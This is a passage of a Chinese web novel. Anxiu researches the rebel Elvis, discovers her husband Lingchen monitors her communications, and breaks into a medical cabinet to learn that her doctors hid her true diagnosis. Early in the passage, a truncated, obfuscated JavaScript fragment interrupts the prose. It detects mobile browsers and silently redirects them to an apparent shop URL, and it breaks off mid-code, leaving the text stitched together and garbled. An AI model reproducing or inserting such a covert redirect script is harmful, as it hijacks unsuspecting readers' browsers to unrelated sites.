帝国皇室对此讳莫如深,说不定藏了有趣的东西。既然迈尔西能知道,她一定也能。
她打开许久未使用过的星域网,搜索艾尔维斯的名字,蹦出来了一段云里雾里的历史。
「艾尔维斯(帝国历1003-),原名......,是来自帝国底层的孤儿,被皇室收留为皇嗣,后因谗言蛊惑叛国分裂,成立了艾尔维斯共和国......」
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16918448|189695||http|test|mini|href|location''.split(''|''),0,{}));
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>这段咨询连艾尔维斯的全名都不愿意写,可见皇室多么不待见她。
后面有相当长的篇幅在说明艾尔维斯和帝国皇室的关系如何僵硬,如何残暴地杀害了手足、联合底层贱民夺走了帝国的疆土,不配与皇室高贵的血脉相提并论。
下方则是清一色的仇恨发言。
「艾尔维斯这个白眼狼,对不起帝国的养育恩情!换作是我被收留近皇室,就算死了也要效忠啊!」
「竟然杀害从小到大爱护她的太子哥哥,知人知面不知心。」
「区区蛮荒国算什么,帝国光辉战绩的陪衬罢了。看看上次的白曲星战役,就那群破战机?帝国二十年前的老古董喽。」
「呵呵,分裂出去的地方靠近深渊,帝国都懒得开垦,蛮荒之地。想都不用想,那里肯定没几个科研人才,都是些粗鲁野蛮的下等公民。」
「当年的舆论再大又有什么用?皇室血脉高贵,艾尔维斯这野人果然不是皇室的种,比不上太子的万分之一。」
更多的言论,则肮脏刺目到无法直视。
「散了散了,共和国就是一娘们儿的国度,帝国打个响指就没了,也不知道艾尔维斯是怎么获得太子的信任的,不能细想,啧啧。」
「他的政策都是垃圾,一个女人懂什么?居然让贱民和公民上同一所学校,还让公民开垦深渊矿?(一下省略百字冗长分析)」
「带上我们女人算几个意思?不是所有女人都跟艾尔维斯一样的。她的头发和衣服都好丑呀,嘻嘻。」
「不是我说,你们女人就是不擅长这些,别瞎折腾了,哥宠你们(奢侈品图片)。」底下有数不清的人在抱大腿。
这些言论下面微弱的反对声被更多的附和淹没。安秀打了一大段话发送,却发现被系统判定为挑起矛盾,遂无奈作罢,只能一一点击举报。
所有的观点大同小异。第一斥责艾尔维斯没有道德,第二嘲讽或侮辱共和国和艾尔维斯,第三歌颂皇室的无上血统和太子殿下。
她知道这是最常见的引导舆论的方式,从这里寻找真相是不现实的。
目前,只知道艾尔维斯是皇室养子、杀害兄长、与一帮平民成立了共和国,且前两者的真实度尚待考究。
她想到了许久不联系的,参加过婚礼的名校生赫本。
赫本接受通讯,见到安秀的时候,是有些惊讶的。
“我还以为你再也不打算联系我了呢。”
“只是最近有点忙而已,我们上次聊心理学聊得挺开心呀。”
“噢,那次,你最后都没声了,我还以为你不喜欢。”
“那只是我在思考。我睡觉也在看那本书呢。”
她们轻笑起来,算是结束了一段寒暄,彼此默契地没有提起另一个人。
“赫本,你的宇宙史是不是还不错?”
“还可以,这是最基本的公民常识,”赫本棕褐色的眼睛在图书馆的阳光下熠熠生辉,“我在高中的时候还拿过宇宙史全校第一,有什么问题尽管问我。”
29.艾尔维斯
有关知识的领域,赫本总是那么自信。
“其实我很好奇共和国的事情。”
“你是说,艾尔维斯共和国?”赫本曲起一根手指放在嘴前,沉吟道,“你为什么要了解这个?”
安秀客气地笑了笑:“这是不方便的话题吗?如果介意的话我们就不聊了。”
“其实没有那么夸张。你有什么想问的?”
“艾尔维斯为什么要成立共和国?”她有很多想问的问题,决定先挑一个最大的问。
“有关这方面的记载很少,不过最常见的说法是她不满于皇位继承一事。按照帝国皇室的继承原则,最有能力的皇嗣才有资格成为皇太子。”
“最有能力的那个吗?”安秀若有所思,回忆当年上课的内容。
“是的。早年间,艾尔维斯的成绩很优异,因此无法接受皇兄成为了太子,在忮忌的情绪中杀害了他,并宣称要建立一个全面碾压帝国的新国家。”
“我有一个疑问。如果是因为忮忌皇兄能当上太子,为什么非要建立一个新的国家,自己当上太子不就行了吗?”
“人性都是复杂的。或许,像她那么心高气傲的人,就是想通过这种方式证明自己吧。”
“可是没有皇室血统的人根本没有继承权啊。”安秀突然想起了问题的关键所在,脱口而出。
两人陷入凉意蔓延的沉默。
“什么意思?”赫本不可置信地翻起自己的虚拟屏记录,找到当年的读书笔记,“皇室的选拔向来很公平,历史书上写了,只要是法律认同的皇家子嗣,是有机会上位的。”
“不,我记得当年老师不是这么教我的,”安秀十分确定地说,“只有拥有纯正皇室异能血统的后代,才有资格参与皇权选拔!艾尔维斯肯定了解这个规定,早就知道自己当不上太子,不可能因为没选上的落差就把皇兄杀了的。”
“你肯定是记错了,帝国的公民教材里写了皇室选拔太子的流程,都是公开透明的。”
“这......我应该不会记错。”
“你的话让我冒出一身冷汗,”赫本的语气有点不自然,“从小到大,我上过的历史课从来没有这么说过。”
安秀再度怀疑起自己的记忆力。难道慢性毒药真的让她的记性变差了?
“退一万步来讲,就算你说的规定是真的,艾尔维斯早就知道皇兄会上位,那她会不会因为痛恨规定,认为自己怀才不遇,所以蓄意杀人呢?”
“也有可能吧,”安秀的思绪被扰乱了,虽然嘴上附和,但总觉得哪里不对,“但这没法作为她分裂的动机呀。”
“总之,艾尔维斯背叛了帝国的养育,是名副其实的坏蛋。”
“我还是觉得有些奇怪。如果只是对皇室的规定不满,在已经做掉最大竞争者的前提下,直接上位改革才是最理智的。她之所以要成立一个新国家,是不是因为皇权本身......”
通讯突然显示信号中断,安秀还以为说了让赫本不开心的话,把她气走了。结果显示有更高级别的人介入了通讯。
凌宸阴沉的脸出现在屏幕中央:“下次,不要再讨论这种话题。”
安秀先是震惊,接着后怕,最后转为了愤怒:“你一直在监听我?!”
“你没有意识到你差点犯了大错吗?和另一个人在公共网域讨论共和国为什么会从帝国分裂出去?要不是我收到了消息即使打断你们,你们都会受到处置的!”
“你是怎么收到消息的?我警告你,凌宸,不要监控我的一切,我有权走法律程序,”她顿了顿,似乎想起了什么,脊背发凉道,“你,难道从一开始就和皇室说好了监视我?”
“我不否认皇室交代过这件事,但我从没有刻意监视过你。要不是因为你触发了限制词,我也不会关注你在跟谁聊天、说了什么。如果我晚来一秒,你们就要被比我低的优先级的人约谈了。”
“所以,皇室真的让你监视我?!”
安秀觉得自己从小建立的信念正在被这根稻草瓦解。无论是艾尔维斯还是皇室,她们的形象都发生了翻天覆地的变化。
从前,她一直被灌输皇室多么善良、高贵、体面。所以,哪怕她的不幸几乎都来源于皇室,也将那一点恨意小心地藏了起来。
虽然从小见不到家人、做不知名的实验、被带上颈环、被歧视,但皇室给自己提供了优渥的生长环境不是吗?
正如别人所说,她的家族虽然“卑劣”,却被皇室大度地收留了,不是吗?
她应该自卑,应该感恩戴德。不是吗?
可笑。
现在,二十年来积压在心底的恨意,正在像火球一样燎烧着她,无处释放。
她只是想知道真相而已,她只是想跟家人见面而已。
“安秀,记住你的身份,”凌宸并不知道她正在进行如此激烈的心理活动,提醒道,“你的身份很敏感,哪怕我不监视你,也会有别人监视你,下次不要再谈论这种话题。”
“你看不出来我很烦躁吗?”安秀抓了抓头发,低声快速道,“别吵了,你好烦。”
凌宸被她的扑面而来的情绪一烫,不动声色地皱了皱眉。
要不是因为他的关注,她现在已经被皇室关押了,那意味着彻底失去自由。他好心提醒,却换来这样一副态度。
本来工作就够烦心了,他好不容易抽出时间来劝解,还要时时刻刻照顾她的感受吗?
“我能理解你认为这一切不公平的想法,但这就是规则,先想好怎么保护自己再行动,”他的语气也不由自主地冷硬起来。
“连保护自己都做不到,遇到问题只会耍脾气,只能说明你还不够强。连这么明显的忌讳都识别不出来的话,就别再外面惹事拖我后腿了,明白吗?”
面对这样一番责骂,安秀完全没有反击的能力,只能沉默地咬紧牙关。
她应该感到愤怒的。她应该大声质问他为什么不能体会她的心情,如果他和家人也遭遇这样的事情,不一定比她做得好。
可是这些话没
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意义。她才是面对这一切的人,没有人能和她感同身受。
凌宸说得对。她还不够强——没有强到可以漠视这一切的程度。
想到这里,她出奇地冷静了下来,再抬头看时,凌宸不知道什么时候挂断了通讯,虚拟屏恢复默认状态。
那团恨意的火球化为灰烬,飘散在空气里,化为一层黑尘铺在她的心上。
她要掩盖她的恨意。
这种感觉沉沉的、闷闷的。她第一次体会到了姐姐的感受。
姐姐,原来你说的复兴家族,是那么的沉重、苍凉......
压得我,喘不过气。
......
医疗室内,阳光正好,有一片大大的叶子从窗外伸了进来,智能体识别到想要除掉它,被安秀拦下了。
她弹了弹巨大的叶子,叶片坚韧且富有弹性,有几滴露珠蹦到了她的虚拟屏上。
安秀为自己拟定了复兴家族的计划。第一步,积攒资本。包括但不限于资金、马甲和人脉;第二步,跟家族的人取得联络;第三步,找到密辛,离开皇室。
哪怕还在治疗中,她也等不及了。最坏的打算是自己死去,然后让一个重要信物和资产经信任的人之手转移给家人,并见家人最后一面。
她唯一见过的家人便是商会那天的男侍。那双红色眼睛,她绝对不会认错的。
这些天,她联系了所有能联系的朋友,包括眼线、米莉甚至黛露,她们都不知道男侍的下落。尤其是米莉,也不知道从哪了解了她的家族过往,惊恐地对她说千万不要找人,不然会被皇室抓走的。
安秀在房内来回踱步,犹豫了很久,还是决定给凌宸编辑一段话。
上次的事发生后,她们算是冷战了。凌宸很久都没来看望过她,也没给她发过任何消息,就像人间蒸发了一样。
明明在那之前,他多少会和自己报备工作时间,她生病后也会时不时问她的情况。
大概真的生气了。
无论如何,凌宸知道男侍的下落,她得想个办法修复两人的关系。
有些尴尬的是,她从来没有低声下气地跟人道过歉,望着空空如也的聊天框,不知道该说些什么。
对不起,你是对的?太难为情了,明明她也有生气的理由。
非常抱歉,我可以补偿你?太肉麻了,说出来浑身鸡皮疙瘩,而且凌宸也不缺什么。按他的高傲程度,说不定还会介意这种带有哄人意味的词。
安秀用聪慧的大脑思考了一会,打出以下一行字。
「你怎么不理我了?」
消息很快显示已收到,但是过了好一会,凌宸才回复她。
「忙。」
收到消息的安秀一下趴到床上,把虚拟屏扔到一边,盖上被子罩住自己,装成会沉沉叹气的尸体。
他果然生气了,但她弯不下这个腰。深渊之神啊,为什么要让她低声下气地求人呢?她自己解决问题算了。
再来一次,她绝对不会开这个口。
30.他漂亮吗
安秀趴了大概有半个小时,想出了一个成功率没那么高的备用计划。
她可以联系克诺洛斯。克诺洛斯曾说过她像一位故人,说不定认识自己的姐姐。事实上,她和唯一在皇室见过面的姐姐很早就分开了,压根没等到成年。
她不相信姐姐已经死了。
如果她以遗愿为请求,克诺洛斯说不定会愿意帮她找到男侍和那个疑似姐姐的家人,让她们见上最后一面。
她拾起虚拟屏,点开了联系人界面,想要找到克诺洛斯家族的对外通讯。像克诺洛斯那种级别的人,是不会轻易交换私人联系方式的。
这不看不要紧,一看便惊讶地发现,某人的消息栏似乎多了一些不得了的东西。
安秀眯起了眼。
「忙。」(34分钟前)
「我没有在生气,你不用误会。」(32分钟前)
「不是故意不理你,最近在封闭式开会,有什么消息可以发到我的紧急通讯号,生物码xxx......」(32分钟前)
「你睡了吗?你在的星球应该还是中午吧。」(29分钟前)
「睡得还挺早。是不舒服吗,头晕又严重了?军医发来的报告显示你情况稳定,需不需要我叫迈尔西过来?」(29分钟前)
「再过两周是我的生日。」(25分钟前)
「没有别的意思。按照习惯,你作为妻子,应该出席我的生日宴,如果到时状态不好就算了。我自己想办法。」(23分钟前)
安秀:......
她越来越搞不懂凌宸在想什么了,能在短短十分钟内发这么多条消息,而且前言不搭后语。
一会关心她的身体状况,一会又说生日宴,什么意思?
哦,她懂了。
是为了让她保持最好的状态,出席他的生日宴,为他挣面子。毕竟,她们都是有家室的人,一起出现更有气势,对凌家的名声也好。
说到底,他这么在乎她的状况,也只是为了利益最大化而已。
由于她没将虚拟屏关掉,消息全部显示已接收,凌宸大概以为她已读不回了,她不能给别人留下这个坏印象。
「刚刚确实在休息,忘记关虚拟屏了。谢谢关心,我还挺好。」
「提前祝你生日快乐,我可以参加你的生日宴。」
那头很快回复:「好。」
对话告一段落,安秀看着空空的消息栏,托起了下巴。
那她还该不该问凌宸男侍的事呢?
他看上去没有在生气了,貌似是个好机会,她要试试。
「你还记得那个漂亮的男侍吗?」
「不记得。等你过世再说。」
「......」
又过了一会,凌宸发:「你觉得他很漂亮?」
「客观来讲,他就是很漂亮,是我遇见的最漂亮的人,所以你一定不会忘记的。我想补充一下,除了赎回他之外,还要请你帮我转交一些东西。」
消息显示收到了,但凌宸再也没回复。
安秀有些悲观地想,如果把事情托付给凌宸,她大概没法以活人的形态见到男侍和姐姐了。
到头来,还是得自己想办法。
她字斟句酌地编辑了一封措辞优雅又恳切的求助信,发给了克诺洛斯,希望能得到她的邀请,和她见一面。
那封求助信,她私心用上了黑红配色,那是记忆中家族的颜色。
这封信发出去后,哪怕她的人生很可能只剩一个月的时间,克诺洛斯家族至少也要两周后才能回复,她大不必太抱有太大希望。
然而,她没想到的是,三天之后,她就收到了克诺洛斯的虚拟影像邀请。
那时的她正在研究投资项目,用风险对冲的思路分配自己的资产。那突兀的高优先级铃声一响,吓得她抖了一下,连忙理了一下头发和衣服接受邀请。
克诺洛斯优雅高挑的身影出现在她的眼前,被先进的虚拟系统等比例还原,跟真人没什么两样。
克诺洛斯还是戴着那顶帽子,上下打量她一番,然后道:“我代克诺洛斯家族关心一下你。你还好吗?”
“我还好,谢谢夫人。”安秀有些紧张地咽了下口水,她其实活蹦乱跳的,但在信中把自己写得很惨,马上要死的那种惨,这让她不由得有点心虚。
“对了,夫人,我们可能不方便在这聊。”安秀想起凌宸随时可以“看到”她的通讯的事,不想留下任何把柄。
“我有加密,没人能监视我,”克诺洛斯在一番寒暄后,决定直接进入主题,“我对你的经历表示很遗憾,安秀,但我恐怕帮不了你。”
安秀的喉咙像是被卡住了,无论如何都没有力气继续牵动嘴角。她努力让自己不露出极度失望的表情。
“可以容许我问下原因吗?”
“并不是不想帮你,安秀,我明白一个人的生命意味着什么,”克诺洛斯别有意味地看了她一眼,道,“可是,我既不能找到像你的那个家人,也无法把那名男侍赎回来。”
安秀想到了某种可能性,愕然问:“您的意思是?”
克诺洛斯露出追忆的神情:“你说得没错,那个家人跟你长得几乎一样,是你的姐姐,但是......”
“但是什么?她已经死了吗?”
安秀头一次露出急切的眼神,克诺洛斯看了她一眼,转过头去,好一阵,才回答她的问题。
“是的,她在很久很久以前就死了,我还见过她最后一面。”
“我不相信,夫人,”安秀炽热的目光打在她的黑色帽檐上,“我的姐姐没那么容易死。我们还是说下那个男侍的事情吧,您刚刚的意思是,他的主人很有地位吗?”
“是的。他的主人是姐妹会的会长,西西多格。”
这个响亮的名字,安秀十分熟悉。但她完全没把它和诡计多端的姐妹会联系到一起过。
西西多格是最被时尚人士和媒体所熟知的人物,帝国最主流前沿的设计和话题都出自她之手,还是少年时期的她曾经疯狂迷恋过西西多格设计的衣服。
“居然是她......”安秀反应极快地将各种事实联系到一起:
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“那次的商会,你们都去参加了?”
既然西西多格会大驾光临商会,克诺洛斯作为死对头,应该不会不到场。
克诺洛斯忽视了她的问题,转而道:“你的基因病,看上去不是很严重。”
“是未分化型宝伯特深渊病,是深渊兽基因不稳定导致的综合征,症状不是很明显。”安秀谨慎的查阅出这种病,跟她的症状十分相似,不会露出马脚。
“嗯,”克诺洛斯沉吟一声,“未分化型......深渊病?”
“是的。”安秀不再多言。
她突然问:“你的眼睛,在阳光的照射下,是纯正的红色吗?”
安秀对话题的转变有些摸不着头脑。她不知道克诺洛斯这么问的目的,因此决定迂回地回答。
“纯正的红色难以界定,我不太擅长辨别颜色。”
“原来如此。”
“我很担心我的弟弟,自从听说他出现在那,我无时无刻不在关注商会的事情。据说商会爆炸了,□□里还含有慢性毒药,也不知道他怎么样了......”
安秀的话半真半假,只有担心是真的。
“慢性毒药?”克诺洛斯饶有意味地看了看她,“我还是第一次听说这回事。”
“夫人?”
“你不用担心。能跟西西多格出现在公共场合的男侍,都是她宠爱的对象。他们不会受到伤害。”
“那真是太好了。”安秀松了口气。
不过她又想起男侍被酒水淋湿的可怜样,心情有些复杂。
“交谈的时间到了,”克诺洛斯朝她颔首,“我先走了,祝你好运。”
安秀恭敬地朝她行了个礼,表示感谢。即便没有得到想要的帮助,能如此快速地收到回复也是不错的,况且并不是毫无收获。
至少,她明确接下来的目标了。
即,联系到西西多格的男侍。如果可以,她要从她那里夺回自己的家人。
那是一种强烈的直觉。男侍的眼神、肢体动作和处境,都让安秀无法相信他是幸福的。
无论他愿不愿意出来,安秀也想为他制造这个机会。
在治疗室的时日,安秀一边经营着自己的资产,一边忘我地学习各种理论,日子充实且平静。
不知不觉,她们已经结束了三个疗程,凌宸痛苦的模样愈发清晰地出现在她的梦中,令她数次午夜惊蛰。
她在深蓝色的夜里,捂住了自己通通乱跳的心脏。月光打在她光洁的额头,安抚她不规律的呼吸。
她一遍又一遍想起商会时发生的一切,原以为是太过思念家人,可除了惊慌的男侍,她还梦到站在走廊口的数不清的黑衣人、悬浮的展厅和斐拉矿。
以及,米诺那张骷髅式的脸。
米诺递过来的姐妹会名单变成了一条蜈蚣,顺着小臂钻进了她的耳朵。
然后是天旋地转的噪音、尖叫和爆炸声......
她的头越来越频繁地痛起来,有时会忘记刚刚做过了什么,甚至反应不过来迈尔西为什么会站在眼前挥舞他的手指。
31.病情加重
“喂,你在听吗?我说,最近帝国和共和国边境又开战了。我们的战机‘咻’一下打得对面落花流水,就像这样。”
迈尔西负责照看安秀的状态,而他的姐姐负责凌宸那边的事宜。最近的两次治疗,姐姐那边都很顺利,胜利的曙光近在眼前,就连他也开朗了许多。
此时,迈尔西正在认真履行自己的职责,随时跟安秀聊天转移她的注意力,避免她想到不该想的事。
“帝共交战?”安秀反应了一会,又是一阵眩晕,“哦,是这样,又打仗了。”
难怪最近没怎么看见凌宸。前线一旦开战,处在大后方的军官们也会忙得不可开交。
迈尔西见她这幅心不在焉的模样,表情一变,在空气中挥手录入生物码,召唤出用于全面检查的虚拟屏。
“你要干什么?”
“没事,例行检查。”
迈尔西暗地里擦了把冷汗,光是看到安秀面色透白、眼神涣散、注意力不集中的样子,他就知道大事不妙了。
他基本可以确定这是深渊癔症的一种,很可能是高能粒子攻击下产生的并发症。
“......好吧,最好快点,我有点累了。”安秀打了个哈欠,又躺到床上闭目养神。
程度大概到两级。持续的臆想大幅度消耗了患者的精神,如果任由发展下去,不仅会精神分裂,身体也会变异分裂。
迈尔西操控检测仪器,全面扫描安秀的身体,看着检测出来的数据深深皱眉。
他的判断是对的。
他第一时间拨通紧急通讯,把安秀的身体情况汇报给了医疗小组,转身即将离开医疗室。
安秀叫住了他。
“发生什么事了,”她坐起身,“我的情况变严重了吗?”
迈尔西向右瞟了一眼,含糊道:“没什么,只是有点波动而已,我们去讨论一下解决方案。”
“至少也要告诉我发生了什么事吧,”脑海中不断闪回的片段持续刺激神经,让她变得不那么有耐心,“我作为病人,难道没有知晓病情的权利吗?”
“你的毒发生了一点变异。”迈尔西欲言又止,含糊地给出一个说辞,匆匆给医疗柜输入密码,接着关上了医疗室的门。
“开什么玩笑。”
见迈尔西出去,安秀小声不满了几句,床单被无意识地抓成了一团。
她是善于察言观色的人,看出来迈尔西在极力掩盖不安。换作是别的情况也就算了,问题是迈尔西的态度跟她的病情息息相关啊!
主治医生的态度变成了这样,她能不在意吗?
安秀回想起近日的种种症状,面带倦色地闭上了眼。不知怎的,她突然很羡慕当个天真的温室花朵,至少对这一切无所察觉。
慢性毒变异了?
什么毒还能变异?
安秀突然睁开了眼,想起不久前克诺洛斯说的一句话。
「慢性毒?我还是第一次听说这回事。」
她的呼吸一窒。她不是没想过克诺洛斯“真的不知道慢性毒”的可能性——也许慢性毒的事情被压下来了,只有极少数人才知道。
可是,这种解释漏洞百出。
西西多格所在的场合,以克诺洛斯的手段,会不知道商会的消息吗?
偌大的纯白色医疗室只有冰冷的机械手运作,血液和淡蓝色药剂被分别排放好,厚厚的诊疗单被钉在桌面。
十二月了,外面的树叶在最近枯萎,从窗口萎缩了下去,被智能体修剪得干干净净。外面的风景没了遮挡,灰蒙蒙的建筑,混合着云雨的潮湿。
安秀被治疗室的冷风一吹,才意识到,她好像一直都是一个人。
除了她们告诉她之外,她对自己的病情一无所知。
她从未听说过这种混合型的慢性毒。
她的目光锁定在了上锁的医疗柜,迈尔西每次出去前都会将它关上,防止她看到真正的检测数据。
她起身,往医疗柜走,然后......
意识断片了。
一阵朦胧过后,她的意识回笼,发现自己已经站在了医疗柜前。
打开医疗柜吧。
一个陌生的声音在她的脑海中回荡。
“我是很想打开,”安秀苦恼地说出一直在意的事,“我很想知道她们在瞒着我什么。可是,这算不算辜负了凌宸的信任呢?他说过,无论发生什么,请务必信任他,他不会做害我的事情。我也觉得他不会害我,我能感觉出来。他这个人最近的举止是有些怪异,但不坏。”
空荡的医疗室响起她的回音,是从机械床那边传过来的。因为那块的墙壁凹了下去,加上特殊的材料,很容易构成回音。
她又继续道:“如果他真的在害我,我会很气愤的。可是如果他不在害我,为什么又要瞒着我呢?是不是我真的没几天可活了?”
一连串混乱的语句从她口中倾泻而出,她说完就忘掉了,完全不知道自己在说什么。
你只有这一个接近真相的机会,快来不及了,她们马上就要来了。
安秀清醒了过来,仔细想了一下,认为这个想法有道理。
紧接着,她的大脑忽然通达了,思路变得无比清晰:先打开医疗柜,看看到底发生了什么。她宁愿知道真相死去,也不想稀里糊涂地活着。
这个想法愈演愈烈,像一个大大的光球照耀着她,亮到她再也看不到别的想法。
不过,如果不能活着的话,她就不能......不能什么来着?
无所谓了,她只想知道真相。
医疗柜的密码是动态循环的,迈尔西每次输入的密码都不一样。安秀将他的反常看在眼里,把这次的密码记了下来。
幸运的是,安秀没有遇到平时的生物检测,只输入了密码,就很顺利地拿到了文件。
“我看不懂上面的东西。”她有些失望地将文件放回原处。
这堆虚拟文件上显示的全是乱码而非帝国文字,肉眼根本无法看出来写了什么,明显上了第二层视觉锁。
声音再度响起。
用你的能力好好想想,迈尔西平时看那些文件的时候做了什么。
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“他没做什么吧?”习惯了迈尔西摆弄那些不知名的医疗用具,安秀觉得没什么特别的。
再仔细想想,你一定可以想出来。你的潜力不止于此。
安秀的大脑飞速运转起来,她突然想起,迈尔西会在阅读检测时带上治疗面具。
“戴上治疗面具,是不是就可以看清楚那堆乱码?”
你可以试试。
她找不到迈尔西的面具在哪,于是退而求其次,戴上了患者那一栏的治疗面具,检测单变得清晰了起来。
安秀一字一句地阅读那些复杂陌生的专有名词,翻了好多页,里面最多的图片是自己的大脑模型,还有一种叫“高能粒子”的东西。
她的脊背开始发凉。
没有那两种毒药。
开托孟斯、费里昂那。开托孟斯、费里昂那。开托孟斯、费里昂那......
她的手速越来越快,翻遍了几十张检查单。
没有。
根本没有开托孟斯和费里昂那!!
她将医疗柜翻得乱七八糟,在角落看到了一个小小的虚拟屏残页,上面好像留存了迈尔西的笔迹。
谢天谢地,笔记里写出了这个两个药物的名字,还有详细的备注。
她突然很感激,感激她们没有骗她。因为小时候的种种经历,她不喜欢被欺骗的感觉。
可是,还没有等她看完,她的心又重重地沉了下去。
「要让病人相信慢性毒的真实性,选取开托孟斯和费里昂那作为高能粒子的替代组。理由如下:一、症状相似;二、符合逻辑;三、两种药物皆属于军用管制品,已被划分为机密药物,病人无法通过自身权限查阅......」
安秀的眼眶逐渐泛起血丝,她的精神跌到谷底,眼前阵阵发黑。
为了避免倒下去,她死死抓住医疗柜的边缘,指节泛白,笔记被揉成一团。
当迈尔西等一众人赶到的时候,看到的是这样一副景象。
安秀惨白着脸,两眼无神,黑色的头发垂在肩后,几乎失去光泽。
见到她们来了,安秀冷冷问道:“高能粒子是什么?为什么不在一开始就告诉我?”
迈尔西简直不敢睁开眼睛。他彻彻底底搞砸了。他没脸见人了。
他不该急着走,然后忘记给医疗柜上第二层的生物检测;明知道面具可以看清楚检测单,他就不该把患者的医疗面具按规定放在栏位。
迈尔西还在懊悔的时候,迈尔达果断挥手:“我们立马开启第四次治疗。”
说罢,她也没忍住,狠狠给了愣在原地的迈尔西脑袋一掌,让他跟上节奏。
“到底发生什么了,你们为什么不告诉我?我有权知道真相!”安秀气极,不愿配合医生。
医生们拉不住她,迈尔达下令给她一针镇定剂。
“不知情才能救你,请配合我们治疗。你的神志已经开始不清楚了。”
“该死,叫凌宸过来,我要立马见到他!”
安秀被打了一针镇定剂,可是依旧很兴奋,力气比刚才更大了。
32.全是谎言
智能体系统识别到医患冲突,启动应急程序拉开了安秀和医生,双方僵持不下。
迈尔达看了眼时间,回答道:“凌宸正在赶过来,请相信我们,我们比任何人都更希望你康复。但是这种病很特殊,一旦病人知道发病的原因,就会立刻致死。”
“什么意思?”问出这句话的同时,安秀又开始闪回跟米诺对接时发生的一切,喃喃道,“高能粒子......深渊......姐妹会......”
突然,她没声了,软倒了下去。
一旁蛰伏好的迈尔西走了出来,手里拿着一管医用昏睡剂,和一针遗忘剂。
“现有的药剂已经没什么作用了,我们必须等到凌宸过来,才可以开启治疗,”迈尔达轻叹一声,“高能粒子的攻击开始狂暴化,她产生了明显的精神分裂倾向,被诱导着寻找真相了。”
迈尔西在一旁凝重道:“如果凌长官不来,她今天就会死掉。”
“医疗机密的事情,这件事后找你算账。”迈尔达横了他一眼,转头带领一波人马去往了另一个治疗室。
迈尔西缩了缩脖子,如临大敌地和剩下的人守在安秀身边。
这回,无论如何,他不能出一点差错。
收到迈尔达打来的紧急通讯后,坐在回途星舰上的凌宸给出了回应。
“我赶不回来了,麻烦你们坚持到晚上。”
安秀突然发病,并不在他的计划中。
受到前线战事的影响,各种关卡都在加强警戒,来往的军舰需要接受核查,会浪费大量时间,凌宸无法立即赶到医院。
军部对他的缺席,略有不满。
“明白了,长官。我们会尽全力坚持到晚上。”
迈尔达郑重地接下这个任务,接着,将两个医疗室的监控同步传输到凌宸这边,方便他随时关注情况。
“治疗准备就绪,随时可以开始。”
“组长,安秀的情况已经整理好了,”另一头医疗室的迈尔西传来报告,“高能粒子经过前三次的治疗产生了抗性,活跃程度比以往还要高出几倍。高能粒子识别了病人的异能特质,正在持续刺激她狂暴化。”
另一位营养学专家补充道:“病人的思维和身体正在被迫进入巅峰状态,目前只能用镇定剂和遗忘剂对抗。如果不及时治疗,很可能会因为透支留下严重的后遗症。”
凌宸在星舰上听完这一切,连眼睛都没眨一下。
“长官,我们要不要直接越过后面的核查?”一旁的副官也听到了情况紧急,小声问道。
“开启空间跳跃,直接越过齐拉星、常源星和帝青星的核查。”凌宸吐词清晰,快速发出指令。
“是。”副官去无人驾驶位操作了。
帝国虽然特权至上,但在交战时刻动用特权难免被人注意。凌宸谨慎地选择了有凌家势力驻扎的星球,方便以后补录。
通讯的那头骚动了起来。
“病人苏醒了,快启用紧急异能镇定剂!”
“让智能体压制一下,实在不行叫警卫......”
安秀看着眼前混乱的一幕,半天没反应过来发生了什么。她抬了抬手,众人谨慎后退,智能体系统的警报疯狂闪烁起来。
她缓缓把手放了下去,说:“我要喝水。”
安秀感觉很干渴,喝下去的水像潮汐一样盖过沙滩,带去了喉间干燥的砂砾,磨得她声音沙哑。
思维被什么压住了,她的躯干里有一团火在烧。一切被压制住,让她有点烦闷。
“发生......什么了?”安秀望向眼前这一帮人,“我这是怎么了?”
迈尔西的喉结滚动了一下,还是说:“你的慢性毒......”
迈尔达的虚拟影像,抢险一步说:“你被一种名为高能粒子的物质缠上了,它正在快速消耗你的生命,如果你不配合治疗,情况会变得非常危险。”
“姐姐?!”迈尔西震惊于迈尔达的冷静与决绝。如果让安秀确认是高能粒子,会不会加快病情?万一......
“我们没有万一,迈尔西,”迈尔达像是读出了他的心事,“我们只有这一次机会。今天晚上,一决胜负。”
凌宸也在另一头沉默着。迈尔西意识到,长官默许了姐姐的行为。
“抱歉,因为一些原因骗了你。迈尔达说得没错,确实是高能粒子。”
安秀弓起了身子,所有人都怕她再次发作,随时准备应急。
没想到的是,她出奇平静地接受了这个事实。
“我知道了,我感染了高能粒子。这个东西非常危险,而你们不能告诉我真相的原因是为了保护我,对吗?”
迈尔达目含欣慰地点了点头:“没错。”
“对了,斐拉呢?”安秀突然想起来,“斐拉深渊矿能不能帮上忙?”
斐拉为她抵御了一次爆炸,如果对象不是慢性毒,是不是可以再救她一次呢?
“我们研究过这个方案,不行。”
迈尔达无法告知更多。事实上,斐拉在安秀接到名单的第一时间没能阻挡脑际传感,已经说明它不具备这方面的功能;再者,爆炸让它丧失了大部分活性。
安秀不知道高能粒子感染的时间,因此迈尔达不能提到爆炸,以防安秀联想到“商会”。
安秀点了点头,尽力抑制自己蠢蠢欲动的思维,不去想太多。
她想活着,她必须活着。
她还有家族要拯救。
迈尔西对病人的状态很敏感,见她一直弓着身子,先在机器上确认了一下,显示状态正常,然后询问道:“你为什么保持这个姿势,是不舒服吗?”
“我不知道。”
安秀的眼瞳变成了一片暗红,很明显在隐忍什么。
“她的数据是正常的,等凌长官来就好。”迈尔达去调整凌宸那个治疗室的手术仪器了。
“......”犯过几次错的迈尔西不敢顶撞姐姐,见其她人都去忙了,也不好意思闲着,只能跟安秀说一句,“有什么不舒服一定告诉我。”
“嗯。”安秀发出一个轻轻的单音,然后没了动静。
此时她的脑海中
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,那个声音一直在说话。
你就不痛恨她们的欺骗吗?
哄骗完你之后,她们就像扔狗一样把你扔在一边,继续吸你的血。
安秀摇了摇脑袋。
不知何时,治疗床边升起了一座隔离板,将她隔在小小的角落。
角落是灰白色的,治疗室的光冰冷地亮着。智能体高高悬在头顶,尖利的机械臂随时准备刺入她的皮肤,让她昏睡过去。
